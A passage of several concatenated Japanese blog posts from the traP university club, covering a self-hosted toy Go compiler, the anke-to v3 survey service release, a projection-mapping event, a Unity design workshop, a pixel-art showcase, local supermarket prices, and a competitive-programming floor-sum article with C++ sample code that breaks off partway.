機能を絞って実装量を少なくする方法はうまく行ったと思います。しかし、セルフホストするためには ooo 自身も対応する機能のみで記述する必要があるので、記述の楽さと実装の量のトレードオフがあります。例えば ooo は byte 型に対応していません。byte 型はその名の通り 1 バイトであるのに対し、他の型は全て 8 の倍数バイトであり、個々の処理を分けるのが大変だと思ったからです。そのため、文字列から 1 文字を取得する際は str[0] ではなく str[0:1] のように長さ 1 の string として書く必要があります。この程度の手間は許容できるものです。一方、初めは && と || も実装しない予定でしたが、記述があまりに面倒になることに気づいて実装しました。

制作過程について

作ろうと思った理由

本能です。

と書くのが traP の伝統のようです。

• https://trap.jp/post/1638/
• https://trap.jp/post/1653/
• https://trap.jp/post/2313/

ooo を作ろうと思った理由は 2 つあります。

1 つ目は、いきなり自作 Go コンパイラを持ってきた人がいたら面白いと思ったからです。想像してほしいんですが、大学の昼休みに友達に「Go コンパイラ作ったんだよね」って言われてセルフホストしてるコンパイラ見せられたら面白くないですか？

2 つ目は、大学の授業で C コンパイラを作ったのが楽しかったからです。科学大（当時は東工大でしたが、）の情報工学系には「コンパイラ構成」という授業があります。この授業は、C のサブセットをコンパイルするコンパイラを C で書くのが目標です。この授業を系外から履修したのですが、自分が作ったコンパイラでプログラムを動かせるのがとても楽しく、自分でもやりたいと思い、自作コンパイラに取り組むことにしました。

制作期間

実装を始めたのは 2025 年 1 月 2 日です。最終的にセルフホストを達成したのは 2026 年 4 月 29 日なので、1 年と 4 か月ほどかかったことになります。この期間 ooo だけをやっていたわけではなく、時間があるときにちょこちょこ進めている感じでした。

作ろうと思った理由 1 つ目にある通りいきなり完成物を出したかったので、さもコンパイラには興味ありませんよみたいな感じで振舞っており、人にコンパイラを作っていることは言っていませんでした。しかし、想像以上に時間がかかってしまったので、自分が設けた制約のせいで苦しかったです。

LLM について

自分が ooo の実装をしている間にLLM がとんでもない速度で進化し、コーディングエージェントなるものが登場してきました。
ooo の実装においてはコーディングエージェントは全く使いませんでした。理由は自分の力試しとしてどこまでいけるか試したかったからです。結果的に最後まで実装できたので良かったです。

今年(2026 年)の 2 月に、Claude が C のコンパイラを 14 日間で実装したことが話題になりました。

https://www.anthropic.com/engineering/building-c-compiler

Building a C compiler with a team of parallel Claudes

Anthropic is an AI safety and research company that’s working to build reliable, interpretable, and steerable AI systems.

この時期は、ooo が完成したら「AI が 14 日間で C コンパイラを作った一方、僕は 14 か月で Go のコンパイラを作った」みたいな記事タイトルにしたらウケるかなと思っていましたが、2 月中に完成させることができなかったので没になりました。

僕が実装を始めたときは、これ完成させたらめっちゃちやほやされると思ってたんですが、LLM のせいでそうではなくなる気がして残念です。

終わり方

第 1 世代のコンパイラが初めて第 2 世代の ooo のアセンブリを出力したのは、2026 年の 3 月 30 日でした。

https://github.com/ikura-hamu/ooo/commit/4b45ca75fd2027b972a5fb5f2c06cab6013ea9b8

:sparkles: 第1世代のcodegenまで通った · ikura-hamu/ooo@4b45ca7

Toy Go Compiler. Contribute to ikura-hamu/ooo development by creating an account on GitHub.

GitHubikura-hamu

ここからはこのアセンブリを実行して第 3 世代のコンパイラを出力できるようにならなくてはいけません。そのためにはアセンブリで書かれたプログラムのデバッグが必要になります。Go で書かれたプログラムのデバッグに比べて遥かに難易度が高いため、ここからさらに 1 年くらいかかるのを覚悟しました。
しかし、セルフホストの達成の瞬間はあっけなく来ました。数個バグをつぶすとちょっとプログラムを出力するようになり、1 個の小さいバグを直すといきなり最後まで完走して第 3 世代のアセンブリを出力しました。まさかと思って第 2 世代と第 3 世代のアセンブリを比較すると、完全に一致して驚きました。

https://github.com/ikura-hamu/ooo/commit/dd798a6a5e604022258afb93752301a63e1fd4a5

:tada: セルフホスト · ikura-hamu/ooo@dd798a6

Toy Go Compiler. Contribute to ikura-hamu/ooo development by creating an account on GitHub.

GitHubikura-hamu

参考にした資料

多くの資料のおかげでセルフホストを達成できました。

低レイヤを知りたい人のためのCコンパイラ作成入門

Rui Ueyama さんが書かれている、C コンパイラを作るための資料です。執筆中らしいですが、コンパイラづくりを始めるための情報が集まっており、とても助けられました。

Linuxで学ぶx86-64アセンブリ言語

東京科学大学 情報工学系の権藤克彦先生が書かれた、アセンブリ言語に関する資料です。先述のコンパイラ構成の授業も担当されている先生で、授業内でも資料として使われていました。アセンブリ言語の命令や gdb（デバッガ）の使い方などを調べる際にとても頼りになりました。

Goコンパイラをゼロから作って147日でセルフホストを達成した と Goコンパイラを自作して93日でセルフホストを達成した(2回目)

DQNEO さんが書かれた、Go コンパイラ実装の記録です。Go でコンパイラを作るか迷っているときにこの記事を見つけて、作ることを決めました。設計の方針などを参考にしました。

感想

Go の仕様を知れてよかった

実装にあたって、Go の仕様書を必要に応じて読みました。今までもGo Spec読みたいなと思っていたのですが、時間やモチベが無くて読めていませんでした。今回コンパイラを実装するのに必要なタスクとして仕様書を読むというものが出てきたので読むことができました。

仕様を読むと今まで知らなかったことも知れて面白かったです。たとえば組み込みのprintやprintln関数は、Go のコンパイラは標準エラー出力に文字列を出力するようビルドしますが、仕様ではどこに出力すべきか書かれていません。そのため、ooo では標準出力を使うようにしました。

アセンブリはつらかった

それはそうなんですが、アセンブリを読んで書いてデバッグするのは大変でした。ただ、自分で書いたアセンブリを読むのは別にそれほど苦でもなくて、どちらかというとコンパイラが吐き出したアセンブリを理解するのが大変でした。
それでも、終盤になると複数行のアセンブリを 1 つの意味のまとまりとして捉えるなどしてだいぶ読めるようになりました。

コンパイラ書くのおもしろかった

自分で書いたコンパイラが動いて実行できるアセンブリを吐き出すという現象そのものも面白かったし、プログラムを解釈して抽象化し、どうしたらやりたい動作を表現できるか考えるのも面白かったです。

もうしばらくやりたくない

きつかったというより長かったのが大変でした。なにかやりたいことを見つけても、「ooo が終わってからかな」と思ってしまっていたので、終わってほっとしてます。今は Rust とか Zig とか関数型言語とか、または OS とかの勉強をしたいです。

みんなやった方がいいですよ

面白かったので、みんなやった方がいいですよ。Go の仕様に詳しくなりたい人とか、低レイヤーを勉強したい人はおすすめです。
また、自作コンパイラといえば C コンパイラという雰囲気が強いと思いますが、Go に限らず C 以外のコンパイラを書く人がもっといてもいいと思います。セルフホストにはそれほど高度な機能を実装する必要はありませんし、何より自分が好きな言語でやった方がモチベーションが上がると思います。

おわり

とりあえず終わってほっとしています。次コンパイラを作るときは、アセンブリ以外を出力するものにしたいです。

ヘッダー画像用ライセンス表示
The Go gopher was designed by Renée French.

こんにちは、SysAd班の @cp20 です。SysAd班として記事を書くのは久しぶり (もしかしたら初めて？) ですね。今回は皆さんにお知らせしたいことがあってこの記事を書いています。タイトルにあるのでもう分かっているかと思いますが、、、

anke-to v3 をリリースしました🎉

ちなみに今まで動いていたバージョンは実は v1 です。開発されたのは相当前で、何年も前から実質的にメンテされていないような状況でした。え、v2 はないのかって？　開発途中でメンバーが立ち消えてしまったのでリリースされることなく消えました、、、

リリースに至るまでの道のり

リリースまでの経緯をもう少し詳しく見ていきましょう。

anke-to v3 発足

anke-to v3 の話が持ち上がったのは2023年の11月あたりで、12月あたりから仕様決めなどを進めていました。最初の時点では v2 を引き継いで開発を進める予定だったのですが、フロントエンドは完全に v2 のコードは置いておいて v3 の開発を進めて、バックエンドは v1 のコードをベースに v3 の開発を進めることにしました。

初期メンバーはサーバーが @kaitoyama で、クライアントが @cp20 @rei @24take でした。

anke-to v3 はコードを刷新して保守性を向上させるのはもちろんですが、新しい機能としてアンケートの下書き、自動リマインド、匿名回答、複数回答の制限、質問の複製、Markdown 対応、などを盛り込む予定でした。もちろんやや古くて使いづらいUIも刷新する予定でした。

この時点では3か月～半年ぐらいで実装できるかなーとたかをくくっていましたが、、、

裏ハッカソン

2023年の冬ハッカソンで皆が頑張っている中、ボク (たち) は anke-to v3 の開発に勤しんでいました。思ったより実装が大変だったんですが、開発は一定進みました。

この時点ではクライアントの方がかなり進捗が生まれていて、サーバーが完成するのを待っているといった箇所が多くなっていました。なので少し放置気味になっていました。

停滞期

しかしサーバー側が思うように進まず、新しく入ってくれたメンバーにも上手くタスクを振れず、開発が非常に停滞気味になっていました。この状態が続いたら anke-to v3 は v2 と同じ末路を辿っていた可能性があります。

真打登場

しかし2025年前期のプロジェクト所属で @Eraxyso がサーバー側のメンバーとして加入してくれました。そして着実にサーバー側のタスクを進めてくれて、なんとサーバーが一通り完成しました(!!)

そしたらクライアントと繋げてみるわけですよ。動かないわけですよ。困ったね。サーバー側で機能が足りてない部分、実装にバグがある部分もあれば、クライアントでも機能不足やバグが大量に見つかりました。ここからはこれを潰していく作業になります。

リリースするぞ進捗会

2026年1月ごろから対面の進捗会を立てて、その場でリリースするところまで開発するところを目標に作業を進めました。触れば触るほどバグが見つかるので、ひたすらバグ直し作業に追われていました。するとバグがだんだんなくなってきて、そろそろリリースしても良いのでは？という感じになってきました。

クライアントのデザイン面は @uni_kakurenbo にも手伝ってもらいながら実装を進めて、ついに2026年4月13日、遂に anke-to v3 をリリースすることができました！！

フィードバック対応

ちゃんと作り込んでリリースしたので好意的な意見をたくさん頂いて非常に嬉しいんですが、その一方でバグや機能要望が多数舞い込んできました。特にリリース直後は大量のフィードバックが届いて、それらに素早く対応していく作業でした。

クライアント側は負債をすべて捨てて作り直したおかげで素早くフィードバックを取り込む下地をつくることができました。一方でサーバー側はデータベース設計などの変えづらい部分がやや負債として残っており、今後どうやって解消していくかといったところです。

新機能紹介コーナー

anke-to v3 では v1 に比べてたくさんの新機能を実装しています！　6年前(!) に書かれた anke-to v1 の紹介記事と見比べてみると面白いかもしれません。

部内製アンケートサービス anke-to の紹介

こんにちは、@60です。こちらは、traP SysAd班で運用中の 部内アンケートサービス anke-to の紹介記事になります。開発に至るまでの経緯、サービスの概要、開発の流れについてお話ししていきます。traPの部内サービスやSysAd班の開発に興味のある方などに読んでもらえると嬉しいです！ (SysAdは “System Administrator” の略語で、この班では部内向けサービスの開発・運用を行っています。詳しくは SysAd班の紹介ページ[/sysad/] をご覧ください！) もくじ 1. 開発までの経緯 2. サービスの概要 3. 作成されたアンケートの例 4. 開発について 5. anke-toのこれから 開発までの経緯背景traPでは、メインのコミュニケーションツールとして、部内製チャットサービスのtraQを使用しています。(traQについての詳細は、ブログ記事 部内製チャットサービス「traQ」UIのこれまで [/post/886/] および 部内製チャットサービス「traQ」UIのこれから [/post/

東京科学大学デジタル創作同好会traP60

UI刷新

これが最も大きいポイントかもしれません。anke-to v1 は現代からするとちょっと古さを感じさせるような UI でしたが、それを現代風のモダンな UI に刷新しました。単に見た目を整えるだけではなく、数多くある機能や情報を丁寧に整理して、初めてでも直感的に、いつもの操作が素早くできるように設計しました。

せっかくなので画面をいくつかお見せします。

自動リマインド

対象者になっているが、アンケートにまだ回答していないユーザーを自動でメンションして、回答を催促します。今まで人力で頑張ってリマインドしていたので、それ自体が大変だったり、リマインドを忘れてしまったりといったことが起きていました。これをシステムで解決するのがこの機能です。ただしシステムによる圧だと回答してくれないことも多いようで、今後どうやったらもっと回答してもらえるようになるかを検討しています。

また、これに合わせて対象者がいるアンケートには回答期限を必ず設定してもらうようにしました。対象者が存在するということはその人 (たち) には必ず回答して欲しいはずで、必ず回答して欲しいなら期限があるはず、という仮説です。

匿名回答

以前は回答の公開範囲を狭める、例えばアンケートの管理者のみ回答を閲覧できるといった設定はできましたが、回答を閲覧できる人は誰がどの回答をしたかは分かってしまう状況でした。しかし匿名でアンケートを立てたいというニーズはあり、それを v3 で実現することにしました。

ただしバックエンドが v1 の設計を引き継いでいる関係で完全に匿名化できていない部分が露呈しており、それを今後改善していく予定です。

アンケートの複製

毎年開催するイベントの参加アンケートやフィードバックアンケートなどは毎回同じような項目でアンケートを立てることが多いです。その際に前回のを参考にぽちぽちと手入力するのはめんどくさいので、既存のアンケートを複製して、一部編集して新しいアンケートとして公開できる機能を実装しました。

アンケート作成画面の改善

アンケート作成画面はかなり使いづらいことで話題(?)でした。管理者や対象者の選択UIが信じられないぐらい重い問題とか、多肢選択の設問で選択肢の入れ替えができないとか、その他いろいろと使いづらい点があったのですが、v3 では UI を全て刷新したのでアンケート作成画面もグッと使いやすくなりました。

感想

現開発メンバーからの感想です。

@cp20

一時期は v3 も v2 と同じ感じで流れてしまうのかと思っていたので、無事リリースまで漕ぎつけることができて良かったです。最後の方の進捗会は、バグを見つけたときにクライアントが悪いのかサーバーが悪いのかでバトルしていたので、それはそれで面白かったです。

@kaitoyama

anke-to v1は今から7年前の2019年にリリースされていました。そのため、schemaからのrouterの自動生成などもなく手作業で揃えられていました。バックエンドにとってv3の一番の挑戦はこの部分にあります。schema駆動となるべく、oapi-codegenでのrouterの自動生成とそれに対応した形へのmiddlewareや呼び出される部分の調整を行いました。

v3開発が始まってからとても長い戦いでした。しかしこうやって無事リリースできたのは本当に良かったと思います。しかし、実は内部にはまだまだ負債があったり、回答者の情報を踏まえたtraQとの連携など今後はバックエンド主導の新機能を実装できればと考えています。

@Eraxyso

今回のanke-to v3の開発は、自分にとってこれほど大きなプロジェクトに深く関わる初めての経験でした。バックエンドのリファクタリングや新機能の開発を担当し、システム全体への影響を意識しながら開発を進める難しさを実感しました。

実装を進める中で、新たな課題や改善できそうな点が次々と見えてきて、なかなか終わりが見えない場面もありましたが、最終的にリリースまで到達できたことを嬉しく思っています。特にバックエンドでは、既存の仕組みとの互換性を保ちながら調整やリファクタリングを進める必要があり、理想通りに設計しきれなかった部分や、やむを得ず妥協した部分もありました （実はリリース前から、次のバージョンやさらなるリファクタリングについても考えていました） 。

リリース後も改善点や新たに取り組みたいことが見えてきており、今後少しずつ改善していければと考えています。今回の経験を活かし、今後の開発においても、より良い設計と実装を目指していきたいと思います。

おわりに

既存サービスのメジャーバージョンアップ (リニューアル) という意味ではNeoShowcase以来でしょうか？　他のサービスも密かに開発を進めているみたいなので、これからの発表にご期待ください..！

【NeoShowcase】traPには内製の作品公開プラットフォームがあります

はじめに | 『デジタル創作』同好会traPとは 私たち『デジタル創作同好会traP』は、Webアプリやゲームの制作を中心に活動する、デジタル創作・プログラミングの総合サークルです。 traPについて東京工業大学デジタル創作同好会traPは、東京工業大学・大岡山キャンパスを拠点に活動する創作・プログラミングの総合サークルです。アプリ・ゲームの制作を中心に、音楽（DTM）、グラフィック（イラスト、3DCG、ドット絵、動画）などの創作活動に加え、Webインフラや競技プログラミング・サイバーセキュリティ（CTF）、機械学習（Kaggle）などに関する活動も行っています。 こうした創作活動のほかにも、大学サークル間の交流イベントの主催や、中高生向けプログラミング教室などといった社会貢献活動も行っています。 traPの班 * アルゴリズム（競プロ）班 * グラフィック班 * ゲーム班 * サウンド班 * CTF班 * SysAd班 * Kaggle班 traPには大きく分けてこの7つの班が設けられており、自分の興味に合わせて所属することができます。ここでは各班の活動を簡単に紹介します。よ

東京科学大学デジタル創作同好会traPtoki

2026年4月24日(金)にTaki Plazaの図書館側壁面にて、プロジェクションマッピングイベント Campus→Canvas #02 を開催しました！

開催概要

• イベント名: Campus→Canvas #02 Powered by traP
  • 読み方: キャンパストゥーキャンバス
  • 略称: C→C
• 日付: 2026年4月24日(金)
• 時間: 18:40~19:20
• 場所: 東京科学大学大岡山キャンパスTaki Plaza図書館側壁面
• ハッシュタグ: #C2CtraP

イベントの様子

イベントの様子をYouTubeにて公開しております。ぜひご覧ください！

作品紹介

今回のイベントで上映した5作品をご紹介します。(上映順)

『crash rush』

制作者：Pika

制作者コメント

滝プラザの壁をリズムに乗って染め上げる！色がコロコロ変わるところが特徴の作品です。音に合わせた映像制作は今回が初めてでしたが、うまくタイミングを合わせられて楽しく制作できました。

『Re:ぼーる』

制作者：Charararu

制作者コメント

C→C#01で投影した作品のリメイクです。いろいろな表現を試してみては没になり、最終的にボールがたくさん出てくる作品になりました…。あまり作曲に慣れてないせいでたくさん時間がかかってしまったけど、作るの楽しかったです！

『Bit Dash』

※前回のイベントで上映した映像の再上映

制作者：wutsuri・METCH

制作者コメント

できる限り画面を大きく使うために飛び出す表現にこだわりました。観客からの視線も意識したパースで製作したためより立体を感じられる作品です。

『Liminal』

制作者：yasako

制作者コメント

2台のプロジェクターをどちらも活用することを考えて作品を作りました。映像の再生タイミングを合わせ、画面の動きを連動させました。

『Virus Buster!!!』

制作者：Mimi・Ida-ji

制作者コメント

PCに侵入したウィルスをウィルスバスター君が倒していくドット絵アニメーションです。
動画制作やドット絵のアニメーション自体が初めてだったのでとても苦戦しました。アニメーションの難しさや楽しさを実感できた気がします。次があればもっとクオリティアップして再挑戦したいです...！

Campus→Canvasについて

Campus→Canvasは、2025年11月に発足したtraPのプロジェクト traPM が主催するプロジェクションマッピングのイベントです。ロゴは Pika がデザインしました。

2026年1月に開催した第1回イベント「Campus→Canvas #01」 に続き、今回が2回目の開催となります。
前回イベントのブログ記事もぜひご覧ください！

プロジェクションマッピングイベント Campus→Canvas #01 を開催しました！

2026年1月15日(木)にTaki Plazaの図書館側壁面にて、プロジェクションマッピングイベント Campus→Canvas #01 を開催しました！ 開催にご協力くださったみなさん、お越しくださったみなさん、本当にありがとうございました！！ 開催概要 * イベント名 Campus→Canvas #01 Powered by traP * 読み方 キャンパストゥーキャンバス * 略称 C→C * 日時 2026年1月15日(木) 18時00分〜18時20分 * 場所 東京科学大学大岡山キャンパス Taki Plaza 図書館側壁面 イベントの様子 イベントの様子はこちらの動画でご覧いただけます。 作品紹介 今回のイベントで上映した5作品をご紹介します。(上映順) 『Count down』 制作者：renkon 『ぼーる』 制作者：きゃららる 『宇宙旅行』 制作者：Pika

東京科学大学デジタル創作同好会traPrurun

2026年の春休みに部内でUnity向けの設計講習会を開催しました。

経緯

Unityによって我々は簡単にゲームを作ることができます。しかし、簡単に作れてしまうことでそれに頼りきりになり、良いコードを書いたりや保守性の高い設計を考えたりといったモチベーションが薄れてしまっているのではないかと感じました。

特に、チームを組んでの開発や長期に渡る開発においては適当なコーディングによって技術負債がどんどん溜まり、いつの間にか身動きが取れなくなってしまうといったことになりかねません。典型的な例で言えば、GameManager という名の数千行の神クラスに全てを詰め込む、というようなことです。traPではハッカソンやプロジェクトなどでチーム開発をする機会が多いため、この問題は重要です。

そこで、設計に対するサークル内の意識を高め、ひいては更なるゲーム開発を促進するために、本講習会を開催するに至りました。

内容

講習会は全3回に分けて行いました。

• 第1回: 「良いコード」
• 第2回: 「クラス設計」
• 第3回: 「アーキテクチャ」

第1回では命名やバグの原因となるコードなど、設計の基礎となる「良いコード」を書く方法を紹介しました。第2回ではそれを前提に保守性の高いクラスをどう設計するかに焦点を当て、最後の第3回ではより発展的な内容として大規模開発も見据えたアーキテクチャの設計法を解説しました。

資料

外部向けに再編集して公開しています。

Unity設計講習会

デジタル創作同好会traP内で開催したUnity設計講習会の公開資料

テキストを開く

感想

どうなるかと思いましたが、受講者からはかなり良い評価が頂けて安心しました。

ゲームは結局面白さが全てであり、コードの良し悪しはその面白さに全く関与しません。実際、部内で高い評価を得ているゲームのコードが必ずしも良いものであるとは限りません。とはいえ、どんなに面白いアイデアも形にできなければ意味がありません。設計を蔑ろにしてプロジェクトが炎上し、開発が頓挫しては元も子もありません。

近年、traPのゲーム制作者の間でも設計と品質に意識を向ける人が増えてきたように思います。これは良い兆候です。アイデアを実現する手段としての設計を大切にして貰えればと思います。

この記事は新歓ブログリレー2026 52日目の記事です。

ちなみに、$52^2=2704$ です。

この記事が新歓ブログリレー2026の最後の記事になります。
部員が様々な記事を書いてくれましたが、いかがでしたでしょうか？楽しんでいただけたなら幸いです。

入部期間は終わってしまいましたがオンラインの入部はいつでも受け付けているので、入部希望の方はこちらの記事のオンライン入部を参考に手続きを行ってください。

2026年度 traP入会の手引き

今年度のtraPへの入会方法を説明します。 尚、過去にtraPに所属していて再度入会を希望する場合は、入会手続きではなく再入会手続きを行うので、こちらのGoogleフォームの「再入会受付」からご申請ください。 また、traPでは入会期間以外でも入会を受け付けています。入会期間外に入会を希望する方も、こちらのGoogleフォームの「新規入会受付」からご申請ください。 入会条件 * 東京科学大学・大学院に在籍していること ※科目等履修生、四大学未来共創連合の学生なども、東京科学大学に在学していることの証明（東京科学大メールアドレスの所持証明、学生証の提示、在学証明書の提示のいずれか）ができる場合は入会可能となります。ただし、入会手続きが通常とは異なるので、お手数ですがこちらのGoogleフォームの「入会に関するお問い合わせ」からご連絡ください。 入会方法 入会方法は、対面入会とオンライン入会の2つあります。どちらかを選んで、手続きを進めてください。 注意事項 入会の際、識別子となるtraQIDを決めていただきます。注意すべきこととして、

東京科学大学デジタル創作同好会traPatlas2802

新歓ブログリレーは本日で終了ですが、ブログ記事は今後も不定期に投稿されます。お楽しみに！

この記事は新歓ブログリレー2026 51日目の記事のはずでしたが、52日目に突入してしまいました！

はじめに

皆さんはじめまして、lemonといいます
traPグラフィック班には、ドット絵に関するあれこれを活動する、ドット絵部というものがあります

このブログでは、昨年度などに描かれたドット絵を紹介します！
ver.2026ってタイトルに付けたので、来年も似たようなブログを出してくれるといいですね(人任せ)

ではどうぞ〜

@fuka

一言コメント
>星街すいせいさんを応援しています

一言コメント
>「宝石の花」がコンセプトです

@Mimi_year

一言コメント
>ヒトよりモンスターが好きかもしれない

@mirin

一言コメント
>アニメでのUB回やメテノ回が印象に残っています

一言コメント
>テーマ「桜」から。桜にまつわる曲だとCAPSULEの「さくら」が好きです

@atlas2802

一言コメント(本人が思いつかなかったようなので、lemonが代わりに)
>ルルロロ、可愛い〜。顔の感じがよきよきです。ちなみに、どっちがルルでどっちがロロなのでしょうか(汗)

一言コメント(同上)
>ブリザポス、何やら背中が寂しそうですね。地味に背景の表現もよきです

@hiyoko

一言コメント
>桜が散る季節の今をイメージしました

一言コメント
>某ダンジョンでご飯食べる物語に出てくる魔導書です

@tobuhitodesu

一言コメント
>なんと、海です
>東京の町でもあります

一言コメント
>夕暮れです

@IT_2006

一言コメント
>カービィちゃんカワイィィィィィ！！

@ruraruto246

一言コメント
>スノードームを描くはずが気付いたら桜ドームになっていました

@lemon

一言コメント
>こんにちは。このブログの執筆者です。ついでにドット絵部の現在の長をやってたりします。なんか、ここの一言コメントってどのくらいの文章量になるのかな〜って、敢えて文字数を指定せずにお願いしたんですよ。そしたらみんなかなり一言にまとめてくれてましたね。自分も本当に一言だけコメントしようと思ってたんですが、バランスを考えて逆にたくさん書いてやろうと思います。ドット絵、こうまとめるとおもろいですね。もちろんここで紹介した以外の作品もたくさん制作されていたので、どれ紹介しようかな〜って色々考えてました。ちなみにここで紹介した多くの作品は、1dotという週1開催の部内イベントで制作されたものなんですよね。概ね1時間でドット絵を作成しようというイベントです。大体間に合ってない人がほとんどです。なんだかんだ一昨年から累計60回近く開催されているようです。普通にすごいですね。60*7=420なので、1年は超えている計算です。期末試験やら他のイベントやらで潰れることもあるので、結構すごいんです。それはさておき、ほげーっと作品を見てたらどこぞの有名ゲームのキャラが多いことに気がつきました。紹介作品の選定にはだいぶ自分の趣向が反映されています。サトシが引退してからアニメは追えてないんですが...。そういえば、traPで制作されるイラストって美少女イラストが多いんですが、ドット絵に関してはその傾向があまりありませんでしたね。これは本当になんででしょうか。結構不思議です。雰囲気とかを合わせようと思うとちょっと難しいとかですかね。さて、そろそろ書くことがなくなってきました。そういえば自分の作品に触れてませんでしたね。これは花札の絵柄をモチーフにしてたりします。梅と鶯なんですが、描いている花は桜ですね。新歓時期としてはいいんじゃないでしょうか

終わりに

さて、それではこのブログも締めに入りたいと思います。traPグラフィック班では一般的なデジタルイラストの他にも、ドット絵、デザイン、3DCG、映像など色々やってます！今後ともよろしくお願いします！！

この記事は新歓ブログリレー2026 52日目の記事です

はじめに

大学に入ってから自炊を始めた人もいると思います。
その中にはきっと、自炊するからには安く済ませたいけど東京にはスーパーがたくさんあってどこが安いのかわからないとお悩みの方もいるでしょう。
皆さんが悩まないよう、最近スーパーに行くたびにメモをしていた、各スーパーでの品目とその値段を一挙公開してしまおうと思います
注意点　あくまで自分が参考用に溜めていたデータなので以下のような要素があります。

• 野菜の大きさの基準が主観に依存
• スーパーの調査範囲や値段の調査品目に偏り
• データの抜け
• 最安値のみを追究し、味は調査対象外
• クーポンやポイントによる還元、割引は調査対象外
• 金額は税抜き
  以上の注意点を踏まえて、それでも問題という方は　ゆっくり読んでいってね!!!

偉大なる先人様のブログ

こちらの方が広域な調査を行っています。先行研究との差は最新情報である、具体的な値段を調べている、その二点のみです。各スーパーの雰囲気をつかみたい人はあちらのブログを訪れることを推奨します。

自炊を始める人のための、大岡山周辺スーパーの話【新歓ブログリレー2020 27日目】

この記事は新歓ブログリレー2020 27日目の記事です。 はじめに初めて東京工業大学大岡山キャンパスに来た時のことを思い出してみてください。大岡山駅の改札を抜けて、さあ、大学は交差点を渡った先…… えっ、近くない？ 誰しも一度は驚いたことがあるのではないでしょうか。 そんな駅近大岡山キャンパスの隣には、東急ストア大岡山店があります。生鮮食品はもちろんのこと、加工食品や飲料も一通り揃っており、パンや惣菜も充実したラインナップ。駅もスーパーも近いだなんて！便利！いいキャンパスだなあ！ ちょっと待った。その買い物、本当に東急ストア大岡山店で済ませていいのか？ 残念ながら、このスーパー、決して価格が安いとは言えないというとんでもない罠があります。 もちろん春から下宿を始めたばかりの新入生はそんなこと知るよしもないですから、しばらくここ以外のスーパーの存在に気付かず、自炊して節約するはずが実はじわじわ財布にダメージを入れていた、なんてことも……。1年（程々に）自炊を続けてきた先輩として、これを見過ごすわけにはいきません。 この記事では、主に自炊を頑張るぞ！というやる

東京科学大学デジタル創作同好会traPSuu__u

【改定版】 大岡山周辺(?)スーパーの話 【新歓ブログリレー2023 27日目】

この記事は新歓ブログリレー2023 27日目の記事です。 はじめに遡ること3年前、ひたすら大岡山周辺(?)のスーパーマーケットを紹介する記事を書きました。 自炊を始める人のための、大岡山周辺スーパーの話【新歓ブログリレー2020 27日目】この記事は新歓ブログリレー2020 27日目の記事です。 はじめに初めて東京工業大学大岡山キャンパスに来た時のことを思い出してみてください。 大岡山駅の改札を抜けて、さあ、大学は交差点を渡った先…… えっ、近くない？誰しも一度は驚いたことがあるのではないでしょうか。 そんな駅近大岡山キャンパスの隣には、東急ストア大岡山店があります。生鮮食品はもちろんのこと、加工食品や飲料も一通り揃っており、パンや惣菜も充実したラインナップ。 駅もスーパーも近いだなんて！便利！いいキャンパスだなあ！ちょっと待った。その買い物、本当に東急ストア大岡山店で済ませていいのか？ 残…東京工業大学デジタル創作同好会traPSuu__u[https://trap.jp/post/1023/]おかげさまでご好評をいただいており、時折別の記事やツイートなどで共有して

東京科学大学デジタル創作同好会traPSuu__u

調査結果

各スーパーの特色

• 肉のハナマサ $\to$ 米、大容量の安い肉
• 業務スーパー $\to$ 全体的に安いが、特に冷凍野菜も含む冷凍食品が豊富
• イチバン $\to$ すぐに使い切るような野菜（痛んできた野菜がすべて一律100円で売っている）
• ヒルママーケット $\to$ 特筆して安くはないが、毎週のやっている肉の日や魚の日などに合わせるとポイントで多少お得
• イオンスタイル $\to$ 幅広い品ぞろえ、雨の日に行くと、客が少ないためか夕方でも多くの品が残っており、鮮魚などが大幅に割引されていることも
• まいばすけっと $\to$ 店舗数がとにかく多く、アクセスしやすい。野菜や卵も安い部類に入るが、肉が高いためすべてを買おうとするとお高くなる。ストック野菜や卵など常に切らさないようにしているものの補充にお勧め
• 東急ストア $\to$ 幅広い品ぞろえで、駅に併設されているためアクセスしやすい。他の安いスーパーと比べると全体的に高いため、夕方の割引などを狙うのが基本
• 市場のあんちゃん $\to$ 品ぞろえも狭く、安くない上にアクセスもいいわけではないから使ったことがない。フルーツが多少豊富

値段比較表

表の元となる詳細データ

終わりに

自分が利用する際に集めている情報のため、行く頻度によって情報がそろっているスーパーとそうでないスーパーの差が大きく出てしまいました。原因の半分くらいはSSDが壊れてデータが飛んだことによるが。
だからこそ、皆さんもコメント欄に最寄りのスーパーの情報を載せて、みんなで最強の価格表を作りましょう！！
皆さんも（懐に）良い自炊ライフを！

最終日を締めくくる投稿者は@2251799813685248です。

この記事は新歓ブログリレー2026 51日目の記事です。

ちなみに、$2251799813685248=2^{51}$ です。

このブログで使用する記号について

実数 $x$ に対して、$\lfloor x\rfloor$ は、$x$ 以$下$の最$大$の整数を表すものとします。
また、実数 $x$ に対して、$\lceil x\rceil$ は、$x$ 以$上$の最$小$の整数を表すものとします。

このブログの内容について

このブログでは以下の $2$ つの値を $O(\log B)$ で求める方法を図を用いて紹介します。どちらもサンプルコードを用意しているので、もしコンテスト中の方がいればコピペして使えます。だたし、コピペする場合は赤字の部分に注意してください。

1. $\sum _{i=0}^N\lfloor \frac{Ci+D}{B}\rfloor$
2. $\underset{0\le i\le N}{\max }(A\lfloor \frac{Ci+D}{B}\rfloor +Ei+F)$

重要
以下のサンプルコードはusing ll = long long;及びこのfloor2関数を前提としています。利用する場合はこちらも忘れずにコピペしてください。

/// @brief 有理数のfloorを求める
/// @param y
/// @param x 
/// @return floor(y/x)
ll floor2(ll y, ll x){
    if ((x^y) > 0){
        x = abs(x);
        y = abs(y);
        return y/x;
    }
    else if ((x^y) < 0){
        x = abs(x);
        y = abs(y);
        return -((y+x-1)/x);
    }
    else{
        return y/x;
    }
}

1と2のサンプルコードはこちら

//floor_sum関数に4つの整数N,B,C,Dをこの順で渡してください。
//正常に動作することが保証される範囲は、N<=10^9, -10^9<=B,C,D<=10^9, B!=0です。

ll internal_floor_sum(ll A, ll B, ll C){
    if (C < 0){return 0;}
    if (A > B){return internal_floor_sum(B,A,C);}
    if (B%A == 0){
        return (1+floor2(C,A))*(1+floor2(C,B)) - (B/A)*floor2(C,B)*(floor2(C,B)+1)/2;
    }
    ll k = floor2(C-B*floor2(C,B),A);
    return (1+k)*(1+floor2(C,B)) + floor2(B,A)*floor2(C,B)*(floor2(C,B)+1)/2 + internal_floor_sum(A, B%A, C-A*(floor2(B,A)*floor2(C,B)+k+1));
}
/// @brief `\sum_{i=0}^{N} \lfloor\frac{Ci+D}{B}\rfloor`を求める。
